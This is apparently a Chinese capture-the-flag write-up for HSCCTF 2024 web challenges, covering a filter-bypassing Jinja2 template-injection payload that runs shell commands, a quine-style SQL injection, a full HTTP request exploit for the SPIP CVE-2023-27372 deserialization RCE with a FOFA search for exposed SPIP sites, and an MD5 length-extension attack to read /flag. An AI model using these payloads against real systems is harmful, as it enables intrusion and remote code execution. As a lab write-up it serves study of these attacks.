HSCCTF 3th 2024 Web方向 题解wp

WEB-CHECKIN【*没出】

直接给了源码

<?php
highlight_file(__FILE__);
error_reporting(0);
$a=$_POST[1];
$b="php://filter/$a/resource=/dev/null";
if(file_get_contents($b)==="2024"){
    echo file_get_contents('/flag');
}else{
    echo $b;
}

咋这么像

WEB-TMPL

不知道是啥,简单测了一下SSTI无疑。

image-20240309204928337

waf不好直接过,那就上过滤器。直接使用武器库

过滤器解释如下:

对于获取一般字符的方法有以下几种:
{% set se=(dict(in=se,it=lf)|join)|join()%}  #如果过滤self加
{% set org = ({ }|select()|string()) %}{{org}}
{% set org = (self|string()) %}{{org}}
{% set org = self|string|urlencode %}{{org}}
{% set org = (app.__doc__|string) %}{{org}}
{% set num = (self|int) %}{{num}}    
# 0, 通过int过滤器获取数字有了数字0之后,我们便可以依次将其余的数字全部构造出来,原理就是加减乘除、平方等数学运算。
{% set num = (self|string|length) %}{{num}}    
# 24, 通过length过滤器获取数字
{% set point = self|float|string|min %}    
# 通过float过滤器获取点 .
若其中空格被过滤了使用%0c绕过
----------------------------------------------------------------------

# 首先构造出所需的数字: 
{% set zero = (self|int) %}    # 0, 也可以使用lenght过滤器获取数字
{% set one = (zero**zero)|int %}    # 1
{% set two = (zero-one-one)|abs %}    # 2
{% set four = (two*two)|int %}    # 4
{% set five = (two*two*two)-one-one-one %}    # 5
{% set three = five-one-one %}    # 3
{% set nine = (two*two*two*two-five-one-one) %}    # 9
{% set seven = (zero-one-one-five)|abs %}    # 7

# 构造出所需的各种字符与字符串: 
{% set space = self|string|min %}    # 空格
{% set point = self|float|string|min %}    # .

{% set c = dict(c=aa)|reverse|first %}    # 字符 c
{% set bfh = self|string|urlencode|first %}    # 百分号 %
{% set bfhc = bfh~c %}    # 这里构造了%c, 之后可以利用这个%c构造任意字符。~用于字符连接
{% set slas = bfhc%((four~seven)|int) %}    # 使用%c构造斜杠 /
{% set yin = bfhc%((three~nine)|int) %}    # 使用%c构造引号 '
{% set xhx = bfhc%((nine~five)|int) %}    # 使用%c构造下划线 _
{% set right = bfhc%((four~one)|int) %}    # 使用%c构造右括号 )
{% set left = bfhc%((four~zero)|int) %}    # 使用%c构造左括号 (

{% set but = dict(buil=aa,tins=dd)|join %}    # builtins
{% set imp = dict(imp=aa,ort=dd)|join %}    # import
{% set pon = dict(po=aa,pen=dd)|join %}    # popen
{% set so = dict(o=aa,s=dd)|join %}    # os
{% set ca = dict(ca=aa,t=dd)|join %}    # cat
{% set flg = dict(fl=aa,ag=dd)|join %}    # flag
{% set ev = dict(ev=aa,al=dd)|join %}    # eval
{% set red = dict(re=aa,ad=dd)|join %}    # read
{% set bul = xhx~xhx~but~xhx~xhx %}    # __builtins__

{% set ini = dict(ini=aa,t=bb)|join %}    # init
{% set glo = dict(glo=aa,bals=bb)|join %}    # globals
{% set itm = dict(ite=aa,ms=bb)|join %}    # items

# 将上面构造的字符或字符串拼接起来构造出 __import__('os').popen('cat /flag').read(): 
{% set pld = xhx~xhx~imp~xhx~xhx~left~yin~so~yin~right~point~pon~left~yin~ca~space~slas~flg~yin~right~point~red~left~right %}

# 然后将上面构造的各种变量添加到SSTI万能payload里面就行了: 
{% for f,v in (whoami|attr(xhx~xhx~ini~xhx~xhx)|attr(xhx~xhx~glo~xhx~xhx)|attr(itm))() %} 
# globals
    {% if f == bul %} 
        {% for a,b in (v|attr(itm))() %}    # builtins
            {% if a == ev %}    # eval
                {{b(pld)}}    # eval("__import__('os').popen('cat /flag').read()")
            {% endif %}
        {% endfor %}
    {% endif %}
{% endfor %}

一开始一直没打出来,发现的问题如下:(原因未知。。。。)

{% set zero = (self|int) %}
{% set one = (zero**zero)|int %}
{% set two = (zero-one-one)|abs %}
{% set four = (two*two)|int %}
{% set five = (two*two*two)-one-one-one %}
{% set three = five-one-one %}
{% set nine = (two*two*two*two-five-one-one) %}
{% set seven = (zero-one-one-five)|abs %}
{% set space = self|string|min %}
{% set point = self|float|string|min %}
{% set c = dict(c=aa)|reverse|first %}
{% set bfh = self|string|urlencode|first %}
{% set bfhc = bfh~c %}
{% set slas = bfhc%((four~seven)|int) %}
{% set yin = bfhc%((three~nine)|int) %}
{% set xhx = bfhc%((nine~five)|int) %}
{% set right = bfhc%((four~one)|int) %}
{% set left = bfhc%((four~zero)|int) %}
{% set but = dict(buil=aa,tins=dd)|join %}
{% set imp = dict(imp=aa,ort=dd)|join %}
{% set pon = dict(po=aa,pen=dd)|join %}
{% set so = dict(o=aa,s=dd)|join %}
{% set ca = dict(ca=aa,t=dd)|join %}
{% set flg = dict(fl=aa,ag=dd)|join %}
{% set ev = dict(ev=aa,al=dd)|join %}
{% set red = dict(re=aa,ad=dd)|join %}
{% set bul = xhx~xhx~but~xhx~xhx %}
{% set ini = dict(ini=aa,t=bb)|join %}
{% set glo = dict(glo=aa,bals=bb)|join %}
{% set itm = dict(ite=aa,ms=bb)|join %} 
{% set pld = xhx~xhx~imp~xhx~xhx~left~yin~so~yin~right~point~pon~left~yin~ca~space~slas~flg~yin~right~point~red~left~right %}

{{pld}}

image-20240309205715850

解决方法:

{% set zero = (self|int) %}
{% set one = (zero**zero)|int %}
{% set two = (zero-one-one)|abs %}
{% set four = (two*two)|int %}
{% set five = (two*two*two)-one-one-one %}
{% set three = five-one-one %}
{% set nine = (two*two*two*two-five-one-one) %}
{% set seven = (zero-one-one-five)|abs %}
{% set space = self|string|min %}
{% set point = self|float|string|min %}
{% set c = dict(c=aa)|reverse|first %}
{% set bfh = self|string|urlencode|first %}
{% set bfhc = bfh~c %}
{% set slas = bfhc%((four~seven)|int) %}
{% set yin = bfhc%((three~nine)|int) %}
{% set xhx = bfhc%((nine~five)|int) %}
{% set right = bfhc%((four~one)|int) %}
{% set left = bfhc%((four~zero)|int) %}
{% set but = dict(buil=aa,tins=dd)|join %}
{% set imp = dict(imp=aa,ort=dd)|join %}

{% set o = dict(o=aa)|reverse|first %}
{% set s = dict(s=aa)|reverse|first %}
{% set p = dict(p=aa)|reverse|first %}
{% set e = dict(e=aa)|reverse|first %}
{% set n = dict(n=aa)|reverse|first %}

{% set ca = dict(ca=aa,t=dd)|join %}
{% set flg = dict(fl=aa,ag=dd)|join %}
{% set ev = dict(ev=aa,al=dd)|join %}
{% set red = dict(re=aa,ad=dd)|join %}
{% set bul = xhx~xhx~but~xhx~xhx %}
{% set ini = dict(ini=aa,t=bb)|join %}
{% set glo = dict(glo=aa,bals=bb)|join %}
{% set itm = dict(ite=aa,ms=bb)|join %} 
{% set pld = xhx~xhx~imp~xhx~xhx~left~yin~o~s~yin~right~point~p~o~p~e~n~left~yin~ca~space~slas~flg~yin~right~point~red~left~right %}

{{pld}}

image-20240309210906021

payload:

{% set zero = (self|int) %}
{% set one = (zero**zero)|int %}
{% set two = (zero-one-one)|abs %}
{% set four = (two*two)|int %}
{% set five = (two*two*two)-one-one-one %}
{% set three = five-one-one %}
{% set nine = (two*two*two*two-five-one-one) %}
{% set seven = (zero-one-one-five)|abs %}
{% set space = self|string|min %}
{% set point = self|float|string|min %}
{% set c = dict(c=aa)|reverse|first %}
{% set bfh = self|string|urlencode|first %}
{% set bfhc = bfh~c %}
{% set slas = bfhc%((four~seven)|int) %}
{% set yin = bfhc%((three~nine)|int) %}
{% set xhx = bfhc%((nine~five)|int) %}
{% set right = bfhc%((four~one)|int) %}
{% set left = bfhc%((four~zero)|int) %}
{% set but = dict(buil=aa,tins=dd)|join %}
{% set imp = dict(imp=aa,ort=dd)|join %}

{% set o = dict(o=aa)|reverse|first %}
{% set s = dict(s=aa)|reverse|first %}
{% set p = dict(p=aa)|reverse|first %}
{% set e = dict(e=aa)|reverse|first %}
{% set n = dict(n=aa)|reverse|first %}
{% set g = dict(g=aa)|reverse|first %}
{% set l = dict(l=aa)|reverse|first %}
{% set o = dict(o=aa)|reverse|first %}
{% set b = dict(b=aa)|reverse|first %}
{% set a = dict(a=aa)|reverse|first %}


{% set ca = dict(ca=aa,t=dd)|join %}
{% set flg = dict(fl=aa,ag=dd)|join %}
{% set ev = dict(ev=aa,al=dd)|join %}
{% set red = dict(re=aa,ad=dd)|join %}
{% set bul = xhx~xhx~but~xhx~xhx %}
{% set ini = dict(ini=aa,t=bb)|join %}
{% set itm = dict(ite=aa,ms=bb)|join %} 
{% set pld = xhx~xhx~imp~xhx~xhx~left~yin~o~s~yin~right~point~p~o~p~e~n~left~yin~ca~space~slas~flg~yin~right~point~red~left~right %}



{% for f,v in (whoami|attr(xhx~xhx~ini~xhx~xhx)|attr(xhx~xhx~g~l~o~b~a~l~s~xhx~xhx)|attr(itm))() %} 
    {% if f == bul %} 
        {% for a,b in (v|attr(itm))() %}
            {% if a == ev %}
                {{b(pld)}}
            {% endif %}
        {% endfor %}
    {% endif %}
{% endfor %}

ospopenglobals都被前后置换了,不知道是不是py2的原因

拿下~

image-20240309221522566

WEB-PWD

直接给了源码:

<?php
error_reporting(0);
highlight_file(__FILE__);
$con = mysqli_connect("localhost","root","root","ccut");
function waffff($sql) {
    if (preg_match("/infor|sys|sql|thread|case|when|if|like|left|right|mid|cmp|sub|locate|position|match|find|field|sleep|repeat|lock|bench|process|<|>|=|xor|and|&&|\\\\/i", $sql)) {
        die("hacker");
    }
}
if (isset($_POST['password'])) {
    $password = $_POST['password'];
    waffff($password);
    $sql = "SELECT password FROM users WHERE username='admin' and password='$password'";
    $user_result = mysqli_query($con,$sql);
    $row = mysqli_fetch_array($user_result);
    if ($row['password'] === $password) {
        include "/flag";
    } else {
        echo "error";
    }
}

Uquine注入

关键代码:

	if ($row['password'] === $password) {
        include "/flag";
    } else {
        echo "error";
    }

原理:
通过分析发现只有输入正确的密码才能得到FLAG,但是这张表其实是一张空表,所以爆破密码这条路走不通。

那就只有一个办法,就是构造一个输入输出完全一致的语句,就可以绕过限制并得到FLAG

详情见:
2021-第五空间智能安全大赛-Web-yet_another_mysql_injection和[HDCTF 2023]LoginMaster

直接给payload:

password=1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#

image-20240309000716021

WEB-SHIROSHORTMENSHELL

看题目名字有shiro,工具一把梭了

image-20240309002138943

WEB-DESERIALIZATION

CVE-2023-27372

开题

image-20240310124224399

看不出啥。直接搜索引擎。

spip 漏洞 CVE

参考文章:

【漏洞复现】CVE-2023-27372 RCE漏洞 - spmonkey - 博客园 (cnblogs.com)

SPIP远程代码执行漏洞(CVE-2023-27372)-CSDN博客

SPIP-Cms <4.2.1_CVE-2023-27372_序列化RCE__手工复现__两步Attack(POC/EXP) | CTF导航 (ctfiot.com)

一、漏洞描述
SPIP Cms v4.2.1之前版本允许通过公共区域中的表单值远程执行代码,因为序列化处理不当。

二、漏洞分析
漏洞存在与密码重置功能中(漏洞点位url:/spip.php?page=spip_pass),重置密码时 protege_champ()函数没有对序列化字符串进行过滤,从而触发命令执行漏洞。

三、影响版本
SPIP < 4.2.1

**FOFA语句:**app=“SPIP”

四、漏洞复现

POST /spip.php?page=spip_pass HTTP/1.1
Host:	
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 118
Connection: close
Upgrade-Insecure-Requests: 1

page=spip_pass&formulaire_action=oubli&formulaire_action_args=CSRF_TOKEN&oubli=s:19:"<?php system(whoami); ?>";&nobot=

其中formulaire_action_args参数需要访问路径/spip.php?page=spip_pass获取,标签为input,name为formulaire_action_args

本题打法:

获取formulaire_action_args

POST /spip.php?page=spip_pass HTTP/1.1
Host: c2e89068-3854-4658-aa17-4485a3c28153.game.hscsec.cn:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://c2e89068-3854-4658-aa17-4485a3c28153.game.hscsec.cn:8080/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

image-20240310124839539

RCE

不要忘记formulaire_action_args的值要url编码

这题过滤了php等一些字符串,简单绕过即可。

POST /spip.php?page=spip_pass HTTP/1.1
Host: f2dca046-1311-44af-9184-c24cbebf95b8.game.hscsec.cn:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 200


page=spip_pass&formulaire_action=oubli&formulaire_action_args=JWFEz0e3UDloiG3zKNtcjKCjPLtvQ3Ec0vfRTgIG7u7L0csbb259X%2Buk1lEX5F3%2F09Cb1W8MzTye1Q%3D%3D&oubli=s:26:"<?Php system('nl /f*'); ?>";&nobot=

image-20240310131757708

WEB-LOG

hint:同学发给我一个网址https://x.x.x.x/?md5=9c80d2bb0bccfefeb3750744c0760496&applicant=admin&filename=web.log,说让我帮忙看看网站运行日志,同学说这是他写的一个非常安全方便的文件查看器。 真的安全吗?

直接给了源码:

<?php
error_reporting(0);
$secret=getenv("SECRETKEY"); # For security reasons, the key length is greater than 8.

if(isset($_GET["md5"]) && isset($_GET["applicant"]) && isset($_GET["filename"])){
    if($_GET["md5"] === md5($secret.$_GET["applicant"].$_GET["filename"])){
        $file_contents = file_get_contents($_GET["filename"]);
        echo $file_contents;
    }else{
        die("My tool is safe.");
    }
}else{
    highlight_file(__FILE__);
}

一看就是MD5扩展攻击,回顾一下我之前的wp:

------------------------------------------------------------------【回顾我之前的笔记】------------------------------------------------------------------

特征:

  • md5( s a l t . salt. salt.username. p a s s w o r d ) = = = password)=== password)===_COOKIE[“digest”]
    $salt未知,但是知道长度。有一个已知的MD5。
    md5(“密文”+“已知字符串”)=已知哈希值
  • md5( f l a g ) 已知,求 m d 5 ( flag)已知,求md5( flag)已知,求md5(flag.$可控字符串)

注:

  • 已知字符串也可以是单个字符如flag的最后一位}

  • 生成的paylload把\x换成%然后url编码一下

    hashpump工具用法:
    Input Signature #现有哈希值(题目给的MD5)
    Input Data #已知字符串"}"
    Input Key Length #为密文长度"41"
    Input Data to Add #为补位后自己加的字符串(自定义)

------------------------------------------------------------------【回顾我之前的笔记】------------------------------------------------------------------

已知条件:

9c80d2bb0bccfefeb3750744c0760496=md5($secret+admin+web.log)

hashpump:

Input Signature          #9c80d2bb0bccfefeb3750744c0760496
Input Data             #adminweb.log
Input Key Length          #9、10、11....(一个一个试,最后是15)
Input Data to Add         #/flag

返回:

46879013726bfb7dff6921fd2e9ab2f8

adminweb.log\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xd8\x00\x00\x00\x00\x00\x00\x00/flag

payload:

?md5=46879013726bfb7dff6921fd2e9ab2f8&applicant=adminweb.log%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%d8%00%00%00%00%00%00%00&filename=/flag

image-20240310172437607

  • 18
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Jay 17

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值